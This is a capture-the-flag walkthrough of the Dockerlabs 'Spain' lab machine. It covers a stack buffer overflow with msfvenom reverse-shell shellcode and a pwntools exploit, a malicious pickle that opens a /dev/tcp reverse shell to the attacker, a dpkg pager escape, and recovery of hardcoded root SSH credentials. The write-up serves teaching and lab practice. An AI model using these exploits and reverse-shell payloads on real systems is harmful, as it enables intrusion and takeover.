Spain is a hard-difficulty Linux machine from Dockerlabs, created by darksblack. This challenge showcases a multi-stage attack path involving binary exploitation, insecure deserialization, and reverse engineering. It serves as a comprehensive test of offensive security skills.

Machine Summary

Property Value
Platform Dockerlabs
Difficulty Hard
OS Linux (Debian)
Author darksblack

Skills Required

  • Network enumeration and service discovery
  • Binary exploitation (stack-based buffer overflow)
  • Shellcode development and encoding
  • Python pickle deserialization attacks
  • GTFOBins privilege escalation techniques
  • Basic reverse engineering and strings analysis

Attack Path Overview

www-data (buffer overflow) → maci (pickle deserialization) → darksblack (dpkg GTFOBins) → root (strings analysis)

Deployment

We deploy the machine using the standard Dockerlabs auto-deploy script:

unzip spain.zip
sudo bash auto_deploy.sh spain.tar

                    ##        .         
              ## ## ##       ==         
           ## ## ## ##      ===         
       /""""""""""""""""\___/ ===       
  ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
       \______ o          __/           
         \    \        __/            
          \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____   
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__   
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___]  

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

The machine is now accessible at 172.17.0.2.


Reconnaissance

Port Scanning

We begin with a comprehensive Nmap scan to identify open ports and enumerate running services. The flags used are:

  • -p-: Scan all 65535 ports
  • --open: Only show open ports
  • --min-rate 5000: Speed up the scan
  • -sSVC: SYN scan with service version detection
  • -Pn -n: Skip host discovery and DNS resolution
nmap -p- --open --min-rate 5000 -Pn -n -sSVC -vvv 172.17.0.2 -oN scan.txt

# Nmap 7.98 scan initiated Sat Dec 27 15:01:27 2025 as: nmap -p- --open --min-rate 5000 -Pn -n -sSVC -vvv -oN scan.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000017s latency).
Scanned at 2025-12-27 15:01:28 CET for 9s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 66:db:6e:23:2a:f4:01:ab:3a:41:be:a4:a7:f9:1b:d1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAgH+b8EgCWbeHUjWM7p/9xMhnyXNLNJwcEs2/t3YbYlUMtdwNIEI/pBWV+NYuSxPOh/jynK6U8Fm9C3XJL+fXA=
|   256 f3:3e:ee:2e:bb:75:63:ad:bf:7b:1e:84:81:40:2d:92 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFtQsSJOgWhxPUYu9puLmWzjGdNXrrCmUIR4CQYi6PVr
80/tcp   open  http        syn-ack ttl 64 Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://spainmerides.dl
9000/tcp open  cslistener? syn-ack ttl 64
MAC Address: DA:7F:E9:81:52:43 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Nmap done at Sat Dec 27 15:01:37 2025 -- 1 IP address (1 host up) scanned in 9.72 seconds

We discover three open ports:

Port Service Notes
22 SSH OpenSSH 9.2p1 - too recent for known exploits
80 HTTP Apache 2.4.62 - redirects to spainmerides.dl
9000 Unknown Mystery service labeled “cslistener”

The HTTP redirect to spainmerides.dl indicates virtual host configuration. We add this domain to our /etc/hosts file:

echo "172.17.0.2 spainmerides.dl" | sudo tee -a /etc/hosts

Why this matters: Apache virtual hosts allow a single server to host multiple websites. Without the correct hostname in our request, we might not see the intended content.

Web Enumeration

Visiting http://spainmerides.dl reveals a simple website displaying historical Spanish dates (efemérides).

Home page

List of days

After manual inspection yields nothing interesting, we enumerate hidden files and directories using Gobuster:

gobuster dir -u "http://spainmerides.dl" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -o gobuster.txt

===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://spainmerides.dl
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 776]
manager.php          (Status: 200) [Size: 1472]
server-status        (Status: 403) [Size: 280]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================

We discover manager.php, a page containing a downloadable file named bitlock with no extension.

Manager page with bitlock file


Initial Foothold

Binary Analysis

We download and examine bitlock to understand what we’re dealing with:

file bitlock
bitlock: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5b79b3eebf4e41a836c862279f4a5bc868c61ce7, for GNU/Linux 3.2.0, not stripped

Key observations:

  • 32-bit i386 architecture - Important for exploit development
  • Dynamically linked - Uses shared libraries
  • Not stripped - Debug symbols available (easier to analyze)

Running the binary reveals it’s the service listening on port 9000:

chmod +x bitlock
./bitlock
Esperando conexiones en el puerto 9000...

Let’s test the service by connecting and sending some data:

nc 127.0.0.1 9000
./bitlock
Esperando conexiones en el puerto 9000...
************************
* Raphinha!
0 *
************************
************************
* FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
0 *
************************
[1]    80882 segmentation fault (core dumped)  ./bitlock

The program crashes with a segmentation fault when we send a long string. This is a classic indicator of a buffer overflow vulnerability.

Why it crashes: The program likely uses an unsafe function like strcpy() or gets() that doesn’t check input length. When we send more data than the buffer can hold, it overwrites adjacent memory including the saved return address, causing the crash.

Buffer Overflow Exploitation

Setting Up the Debugger

We’ll use pwndbg, an enhanced GDB plugin for exploit development:

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
gdb -q bitlock
pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 9 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from bitlock...
(No debugging symbols found in bitlock)
------- tip of the day (disable with set show-tips off) -------
heap-config shows heap related configuration
pwndbg> 

Security Analysis

First, we check what security protections the binary has using checksec:

pwndbg> checksec
File:     /home/user/Descargas/bitlock
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x8048000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

Let’s break down each protection and what it means for our exploit:

Protection Status Explanation
Stack Canary None No random value protecting return address, so we can overwrite freely
NX (No-Execute) Disabled Stack is executable, allowing us to inject and run shellcode directly
PIE Disabled Fixed memory addresses with no ASLR to bypass
RELRO Partial GOT entries are writable, though not relevant for our attack

Verdict: The binary has virtually no protections. This is ideal for a classic stack-based buffer overflow with shellcode injection.

Finding the Offset

To control program execution, we need to know exactly how many bytes to send before we overwrite the EIP register (the instruction pointer). We use a cyclic pattern, which is a unique sequence where any 4-byte substring appears only once:

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

We run the binary inside GDB and send the pattern from another terminal:

pwndbg> run 
Downloading 1.01 M separate debug info for /lib/ld-linux.so.2
Downloading 9.56 M separate debug info for /usr/lib32/libc.so.6
[Thread debugging using libthread_db enabled]                  
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Esperando conexiones en el puerto 9000...
************************
* aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
0 *
************************

Program received signal SIGSEGV, Segmentation fault.
0x61676161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────[ REGISTERS / show-flags off / show-compact-regs off ]─────
 EAX  0xffffca76 ◂— 0x61616161 ('aaaa')
 EBX  0x61656161 ('aaea')
 ECX  0xffffcb70 ◂— 'yaab\n0'
 EDX  0xffffcb3a ◂— 'yaab\n0'
 EDI  0xffffceac ◂— 0x10
 ESI  0
 EBP  0x61666161 ('aafa')
 ESP  0xffffca90 ◂— 'aahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n0'
 EIP  0x61676161 ('aaga')
──────────────[ DISASM / i386 / set emulate on ]───────────────
Invalid address 0x61676161
───────────────────────────────────────────────────────────────

The EIP register contains 0x61676161 which corresponds to the pattern aaga. We can calculate the exact offset:

pwndbg> cyclic -l aaga
Finding cyclic pattern of 4 bytes: b'aaga' (hex: 0x61616761)
Found at offset 22

Offset confirmed: 22 bytes. After sending 22 bytes of padding, the next 4 bytes will overwrite EIP.

Let’s verify by sending 22 A’s followed by 4 B’s:

python3 -c "print('A'*22 + 'BBBB')" | nc 127.0.0.1 9000
pwndbg> run
Starting program: /home/user/Descargas/bitlock 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Esperando conexiones en el puerto 9000...
************************
* AAAAAAAAAAAAAAAAAAAAAABBBB
0 *
************************

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
 EIP  0x42424242 ('BBBB')
───────────────────────────────────────────────────────────────

EIP = 0x42424242 (BBBB). We have complete control over the instruction pointer!

Understanding the Vulnerability

Let’s examine the binary’s code to understand exactly why this vulnerability exists:

pwndbg> disass hald
Dump of assembler code for function hald:
   0x08049267 <+0>: push   ebp
   0x08049268 <+1>: mov    ebp,esp
   0x0804926a <+3>: push   ebx
   0x0804926b <+4>: sub    esp,0x14
   0x0804926e <+7>: call   0x8049487 <__x86.get_pc_thunk.ax>
   0x08049273 <+12>: add    eax,0x2d81
   0x08049278 <+17>: sub    esp,0x8
   0x0804927b <+20>: push   DWORD PTR [ebp+0x8]
   0x0804927e <+23>: lea    edx,[ebp-0x12]
   0x08049281 <+26>: push   edx
   0x08049282 <+27>: mov    ebx,eax
   0x08049284 <+29>: call   0x80490a0 <strcpy@plt>
   0x08049289 <+34>: add    esp,0x10
   0x0804928c <+37>: nop
   0x0804928d <+38>: mov    ebx,DWORD PTR [ebp-0x4]
   0x08049290 <+41>: leave
   0x08049291 <+42>: ret
End of assembler dump.

The vulnerability: The function uses strcpy() at address 0x08049284. This function copies data into a buffer at ebp-0x12 (18 bytes) without any length validation. When we send more than 18 bytes:

  • First 18 bytes fill the buffer
  • Next 4 bytes overwrite saved EBX register
  • Next 4 bytes overwrite saved EBP
  • Next 4 bytes overwrite the return address (EIP)

This confirms our offset: 18 + 4 = 22 bytes before EIP.

Finding a JMP ESP Gadget

Since NX is disabled (stack is executable), we can inject shellcode directly. The classic technique is:

  1. Overwrite EIP with the address of a jmp esp instruction
  2. Place shellcode immediately after, which ESP will point to
  3. When ret executes, it jumps to our gadget, which jumps to our shellcode
pwndbg> ropper -- --search "jmp esp"
Saved corefile /tmp/tmpu0h6vjfg
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Searching for gadgets: jmp esp

[INFO] File: /tmp/tmpu0h6vjfg
0x0804948b: jmp esp; 

JMP ESP gadget found at 0x0804948b.

Generating the Shellcode

We need a reverse shell shellcode. Using msfvenom:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 479 bytes
buf =  b""
buf += b"\xda\xd8\xb8\x1a\xa7\x3b\xd5\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x58"
buf += b"\xb4\xd9\x20\x6d\x61\xea\x28\xde\xd6\x46\xc5\xe2"
buf += b"\x51\x89\xa9\x84\xac\xca\x59\x11\x9f\xf4\x90\x21"
buf += b"\x96\x73\xd2\x49\x85\x95\x24\x88\xbd\x97\x24\x9b"
buf += b"\x61\x11\xc5\x2b\xff\x71\x57\x18\xb3\x71\xde\x7f"
buf += b"\x7e\xf5\xb2\x17\xef\xd9\x41\x8f\x87\x0a\x89\x2d"
buf += b"\x31\xdc\x36\xe3\x92\x57\x59\xb3\x1e\xa5\x1a"

Important: The -b '\x00' flag excludes null bytes because the vulnerable strcpy() function treats null bytes as string terminators. If our shellcode contains \x00, it would be truncated.

Building the Exploit

The exploit structure is:

[22 bytes padding] + [JMP ESP address] + [NOP sled] + [shellcode]

The NOP sled (\x90 bytes) provides a landing zone that improves reliability by allowing slight variations in exact execution point.

from pwn import *

jmp_esp = p32(0x0804948b)

# NOP sled + Shellcode
nop_sled = b"\x90" * 16  # 16 NOPs for reliability

buf =  b""
buf += b"\xda\xd8\xb8\x1a\xa7\x3b\xd5\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x58"
buf += b"\xb4\xd9\x20\x6d\x61\xea\x28\xde\xd6\x46\xc5\xe2"
buf += b"\x51\x89\xa9\x84\xac\xca\x59\x11\x9f\xf4\x90\x21"
buf += b"\x96\x73\xd2\x49\x85\x95\x24\x88\xbd\x97\x24\x9b"
buf += b"\x61\x11\xc5\x2b\xff\x71\x57\x18\xb3\x71\xde\x7f"
buf += b"\x7e\xf5\xb2\x17\xef\xd9\x41\x8f\x87\x0a\x89\x2d"
buf += b"\x31\xdc\x36\xe3\x92\x57\x59\xb3\x1e\xa5\x1a"

padding = b'A' * 22
payload = padding + jmp_esp + nop_sled + buf

r = remote("172.17.0.2", 9000)
r.send(payload)
r.close()

Exploitation

First, start a listener on the attacking machine:

nc -lvnp 4444

Then execute the exploit:

python3 exploit.py
[*] Opening connection to 172.17.0.2 on port 9000: Trying 172.1
[*] Opening connection to 172.17.0.2 on port 9000: Done
[*] Closed connection to 172.17.0.2 port 9000

We receive a reverse shell:

nc -lvnp 4444
Connection from 172.17.0.2:37410
whoami
www-data

Shell Stabilization

The raw reverse shell is unstable and lacks proper terminal features. We upgrade it:

script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
www-data@dockerlabs:/$ 

Privilege Escalation

www-data → maci (Pickle Deserialization)

Enumeration

We check what privileges our user has:

sudo -l
Matching Defaults entries for www-data on dockerlabs:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on dockerlabs:
    (maci) NOPASSWD: /bin/python3 /home/maci/.time_seri/time.py

We can run a specific Python script as user maci. Let’s examine it:

import pickle
import os

file_path = "/opt/data.pk1"
config_file_path = "/home/maci/.time_seri/time.conf"

def load_pickle_file(file_path):
    """Carga un archivo pickle y devuelve su contenido."""
    if not os.path.exists(file_path):
        print(f"El archivo {file_path} no se encontró.")
        return None
    
    try:
        with open(file_path, 'rb') as f:
            data = pickle.load(f)
            return data
    except PermissionError:
        print("No tienes permiso para leer el archivo.")
    except pickle.UnpicklingError:
        print("Error al deserializar el archivo.")
    except EOFError:
        print("El archivo está vacío o truncado.")
    except Exception as e:
        print(f"Ocurrió un error inesperado: {e}")
    
    return None

def is_serial_enabled(config_file_path):
    """Verifica si la serialización está habilitada."""
    if not os.path.exists(config_file_path):
        print(f"El archivo de configuración {config_file_path} no se encontró.")
        return False
    
    with open(config_file_path, 'r') as config_file:
        for line in config_file:
            if line.startswith('serial='):
                value = line.split('=')[1].strip()
                return value.lower() == 'on'
    
    return False

if __name__ == "__main__":
    if is_serial_enabled(config_file_path):
        data = load_pickle_file(file_path)
        if data is not None:
            print("Datos deserializados correctamente, puedes revisar /tmp")
    else:
        print("La serialización está deshabilitada. El programa no se ejecutará.")

Key vulnerability: The script uses pickle.load() to deserialize data from /opt/data.pk1. Python’s pickle module is inherently dangerous because it can execute arbitrary code during deserialization.

Why pickle is dangerous: When unpickling, Python calls the __reduce__() method of objects, which can return a callable and its arguments. A malicious pickle file can specify os.system as the callable with a shell command as the argument.

Let’s check file permissions:

www-data@dockerlabs:/$ ls -la /home/maci/.time_seri/
total 20
drwxr-xr-x 1 maci maci 4096 Dec 25  2024 .
drwxr-xr-x 1 maci maci 4096 Dec 25  2024 ..
-rw-r--rw- 1 maci maci   11 Dec 25  2024 time.conf
-rw-r--r-- 1 maci maci 1715 Dec 25  2024 time.py

The config file is world-writable! Let’s check the pickle file:

www-data@dockerlabs:/$ ls -la /opt/
total 12
drwxr-xr-x 1 root root 4096 Dec 25  2024 .
drwxr-xr-x 1 root root 4096 Dec 27 13:57 ..
-rw-rw-rw- 1 root root  143 Dec 25  2024 data.pk1

Both files are writable! We have everything needed to exploit this.

Exploitation

Step 1: Enable serialization by modifying the config:

www-data@dockerlabs:/$ echo "serial=on" > /home/maci/.time_seri/time.conf

Step 2: Create a malicious pickle file that spawns a reverse shell:

python3 -c '
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("bash -c \"bash -i >& /dev/tcp/172.17.0.1/4445 0>&1\"",))

with open("/opt/data.pk1", "wb") as f:
    pickle.dump(Exploit(), f)
'

Step 3: Start a listener on port 4445:

nc -lvnp 4445

Step 4: Execute the script as maci:

sudo -u maci /bin/python3 /home/maci/.time_seri/time.py

We receive a shell as maci!


maci → darksblack (dpkg GTFOBins)

Checking maci’s sudo privileges:

maci@dockerlabs:/$ sudo -l
Matching Defaults entries for maci on dockerlabs:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User maci may run the following commands on dockerlabs:
    (darksblack) NOPASSWD: /usr/bin/dpkg

The dpkg package manager can be abused for privilege escalation via GTFOBins.

How this works: When dpkg -l lists packages, it pipes output through a pager (typically less). In less, typing ! followed by a command executes that command with the same privileges as the pager. In this case, that means as darksblack.

First, we need a proper TTY for the pager to work:

script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Then exploit dpkg:

sudo -u darksblack /usr/bin/dpkg -l
!bash

We now have a shell as darksblack.


darksblack → root (Binary Analysis)

The Environment Trap

The machine creator left a clever trap. When we try to source the bashrc:

darksblack@dockerlabs:/$ source ~/.bashrc
no tan rapido campeon!

The .bashrc file breaks our PATH! But we can bypass this by using absolute paths:

darksblack@dockerlabs:/$ /bin/ls -la /home/darksblack/
total 52
drwxr-x--- 1 darksblack darksblack  4096 Dec 27 15:50 .
drwxr-xr-x 1 root       root        4096 Dec 26  2024 ..
lrwxrwxrwx 1 root       root           9 Dec 26  2024 .bash_history -> /dev/null
-rw-r--r-- 1 root       root         220 Mar 29  2024 .bash_logout
-rw-r--r-- 1 darksblack darksblack    55 Dec 27 15:50 .bashrc
-rw-r--r-- 1 root       root         807 Mar 29  2024 .profile
-rw------- 1 darksblack darksblack   726 Jan  1  2025 .viminfo
drwxr-xr-x 2 darksblack darksblack  4096 Jan  1  2025 .zprofile
-rwxr-xr-x 1 darksblack darksblack 15048 Jan  1  2025 Olympus
drwxr-x--- 1 darksblack darksblack  4096 Jan  1  2025 bin

There’s an interesting binary called Olympus and a .zprofile directory (unusual).

Analyzing Olympus

Using strings to examine the binary:

darksblack@dockerlabs:/$ /usr/bin/strings /home/darksblack/Olympus | /bin/head -50
/lib/ld-linux.so.2
_IO_stdin_used
fgets
snprintf
puts
pclose
__libc_start_main
popen
__isoc99_scanf
strncmp
libc.so.6
Selecciona el modo:
1. Invitado
2. Administrador
Introduce el serial: 
/home/darksblack/.zprofile/OlympusValidator %s
Error al ejecutar el comando.
VALIDO
Serial invalido, vuelve a intentar
Bienvenido al modo invitado, aqui podras obtener la lista de tareas pendientes.

The binary has guest and admin modes, with admin requiring a serial validated by OlympusValidator.

Examining OlympusValidator

darksblack@dockerlabs:/$ /usr/bin/strings /home/darksblack/.zprofile/OlympusValidator
W/sg
/lib/ld-linux.so.2
_IO_stdin_used
snprintf
puts
__libc_start_main
strcmp
libc.so.6
j0jnj4jxj6j)j0j8j2j7j7j2j)j*j#j@j:jtjojojrj jhjsjsj jsjejljajijcjnjejdjejrjC
jZjMjFjDj-j1jPjQjQj-j0jPjLjOj-j3jSjHjGj-j8j7j6jA
Uso: ./validar_serial <serial>
VALIDO
INVALIDO

Hidden credentials! The strings are obfuscated using j as a delimiter between characters. Let’s decode:

j0jnj4jxj6j)j0j8j2j7j7j2j)j*j#j@j:jtjojojrj jhjsjsj jsjejljajijcjnjejdjejrjC

Reversing the string and removing the j delimiters:

Credenciales ssh root:@#*)277280)6x4n0

Root SSH credentials found: root:@#*)277280)6x4n0

Root Access

ssh root@172.17.0.2
root@172.17.0.2's password: 
Linux dockerlabs 6.18.2-arch2-1 #1 SMP PREEMPT_DYNAMIC Thu, 18 Dec 2025 18:00:18 +0000 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@dockerlabs:~# ls /home/
darksblack  maci

We are root!


Conclusion

This machine demonstrated a comprehensive attack chain involving multiple exploitation techniques:

Phase Technique Key Vulnerability
Initial Access Stack Buffer Overflow Unsafe strcpy() with no binary protections
Privesc #1 Pickle Deserialization World-writable pickle file + insecure pickle.load()
Privesc #2 GTFOBins (dpkg) Sudo access to dpkg allows pager escape
Privesc #3 Reverse Engineering Hardcoded credentials obfuscated in binary

Key Takeaways

  1. Binary protections matter - The complete lack of NX, ASLR, and stack canaries made exploitation trivial. Modern binaries should always enable these protections.

  2. Never trust pickle with untrusted data - Python’s pickle module should be treated like eval(). Consider using safer alternatives like JSON for serialization.

  3. GTFOBins is essential knowledge - Many legitimate binaries can be abused for privilege escalation. Always check GTFOBins when you have sudo access to any binary.

  4. Simple analysis before complex RE - Before diving into Ghidra or IDA, always try strings first. Developers often leave secrets in binaries.

  5. Defense in depth - This machine was compromised through a chain of vulnerabilities. Any single fix would have broken the attack path.

Alternative Approaches

  • Use Ghidra to properly reverse engineer OlympusValidator and recover the admin serial key
  • The second obfuscated string ZMFD-1PQQ-0PLO-3SHG-876A may unlock additional functionality in Olympus